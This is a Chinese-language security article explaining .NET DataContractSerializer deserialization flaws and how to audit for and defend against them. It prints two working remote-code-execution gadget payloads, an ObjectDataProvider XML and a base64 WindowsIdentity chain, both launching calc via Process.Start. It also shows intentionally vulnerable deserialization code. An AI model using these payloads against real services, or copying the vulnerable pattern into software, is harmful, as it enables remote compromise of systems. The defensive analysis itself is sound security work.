DataContractSerializer反序列化漏洞分析与防御
一、概述
DataContractSerializer是.NET框架中用于序列化和反序列化Windows Communication Foundation (WCF)消息中数据的类,位于System.Runtime.Serialization命名空间,继承于System.Runtime.Serialization.XmlObjectSerializer。当开发者使用DataContractSerializer.ReadObject读取恶意构造的XML数据时,可能导致反序列化漏洞,实现远程代码执行(RCE)攻击。
二、DataContractSerializer序列化机制
2.1 基本用法
要使用DataContractSerializer进行序列化,需要遵循以下规则:
- 类需要使用
[DataContract]属性标记 - 类成员需要使用
[DataMember]属性标记
示例代码:
[DataContract]
public class TestClass
{
[DataMember]
public string Name { get; set; }
[DataMember]
public int Age { get; set; }
[DataMember]
public string Address { get; set; }
public static void ClassMethod(string cmd)
{
Process.Start(cmd);
}
}
2.2 序列化过程
序列化通过创建对象实例并赋值后,使用DataContractSerializer.WriteObject方法实现.NET对象到XML的转换:
TestClass test = new TestClass
{
Name = "Ivan1ee",
Age = 18,
Address = "360 Cloud Shadow Lab"
};
DataContractSerializer serializer = new DataContractSerializer(typeof(TestClass));
serializer.WriteObject(stream, test);
三、DataContractSerializer反序列化机制
3.1 反序列化原理
反序列化过程是将XML数据转换回对象,通过创建DataContractSerializer实例后调用ReadObject方法实现:
DataContractSerializer serializer = new DataContractSerializer(typeof(TestClass));
TestClass test = (TestClass)serializer.ReadObject(stream);
3.2 反序列化流程分析
- 创建DataContractSerializer实例时传入类型解析器(Type)
- 在Initialize方法中将Type赋值给rootType成员
- 调用ReadObject方法,内部调用ReadObjectHandleExceptions
- 进入InternalReadObject方法体
- 通过ReadDataContractValue方法处理数据
- 最终通过ReadXmlValue方法完成反序列化
关键点:反序列化过程中会通过DataContract.GetClrTypeFullName获取CLR数据类型的全限定名。
四、攻击向量分析
4.1 ObjectDataProvider攻击向量
漏洞原理:
当DataContractSerializer初始化时的type参数可控时,攻击者可以控制重构对象的类型,通过反序列化恶意XML数据实现RCE。
利用方式:
使用ObjectDataProvider类调用任意被引用类中的方法,特别是结合Process.Start方法执行系统命令。
攻击Payload示例:
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
type="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<ObjectDataProvider MethodName="Start" ObjectInstance="{x:Type Process}">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</root>
4.2 WindowsIdentity攻击向量
漏洞原理:
WindowsIdentity类继承了ClaimsIdentity并实现了ISerializable接口,可以控制反序列化的数据类型,且不使用反射机制,执行效率更高。
攻击Payload示例:
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
type="System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<WindowsIdentity xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
xmlns:x="http://www.w3.org/2001/XMLSchema"
xmlns="http://schemas.datacontract.org/2004/07/System.Security.Principal">
<System.Security.ClaimsIdentity.bootstrapContext i:type="x:string" xmlns="">
<!-- 经过编码的恶意payload -->
AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAsvYyBjYWxjLmV4ZQYHAAAAA2NtZAQFAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlB21ldGhvZDAHbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL
</System.Security.ClaimsIdentity.bootstrapContext>
</WindowsIdentity>
</root>
五、代码审计要点
5.1 漏洞入口点识别
在代码审计中,需要重点关注以下模式:
// 类型可控的DataContractSerializer初始化
DataContractSerializer serializer = new DataContractSerializer(Type.GetType(typeName));
// 反序列化操作
var obj = serializer.ReadObject(xmlReader);
关键风险点:
- 类型解析器(type)是否可控
- 是否允许用户输入XML数据
- 是否对反序列化的类型进行了严格限制
5.2 典型漏洞代码示例
public ActionResult Deserialize(string xml)
{
// 危险:未对输入类型进行限制
DataContractSerializer serializer = new DataContractSerializer(typeof(Object));
using (var reader = new StringReader(xml))
{
var xmlReader = new XmlTextReader(reader);
var obj = serializer.ReadObject(xmlReader);
return View(obj);
}
}
六、防御措施
6.1 输入验证
- 对用户提供的XML数据进行严格验证
- 使用XML Schema验证输入结构
- 过滤可疑的XML元素和属性
6.2 类型限制
- 使用已知安全的类型白名单
- 避免使用
typeof(Object)或动态类型解析 - 实现自定义的
DataContractResolver限制可反序列化的类型
示例安全代码:
private static readonly HashSet<Type> AllowedTypes = new HashSet<Type>
{
typeof(SafeType1),
typeof(SafeType2),
// 其他允许的类型
};
public ActionResult SafeDeserialize(string xml)
{
var serializer = new DataContractSerializer(typeof(SafeType1));
using (var reader = new StringReader(xml))
{
var xmlReader = new XmlTextReader(reader);
var obj = serializer.ReadObject(xmlReader);
if (!AllowedTypes.Contains(obj.GetType()))
{
throw new SecurityException("Type not allowed");
}
return View(obj);
}
}
6.3 其他防御措施
- 使用.NET框架提供的最新安全补丁
- 实现输入数据的签名验证
- 在沙箱环境中执行反序列化操作
- 监控和记录反序列化操作
七、总结
DataContractSerializer反序列化漏洞的核心在于:
- 类型解析器(type)可控
- 允许反序列化恶意构造的XML数据
虽然攻击需要控制type参数使得攻击成本相对较高,但在实际开发中DataContractSerializer使用频率较高,仍需高度重视其安全性。开发人员应当:
- 严格限制可反序列化的类型
- 验证所有输入数据
- 遵循最小权限原则
- 保持框架和库的更新
通过正确的安全编码实践和防御措施,可以有效防范DataContractSerializer反序列化漏洞带来的风险。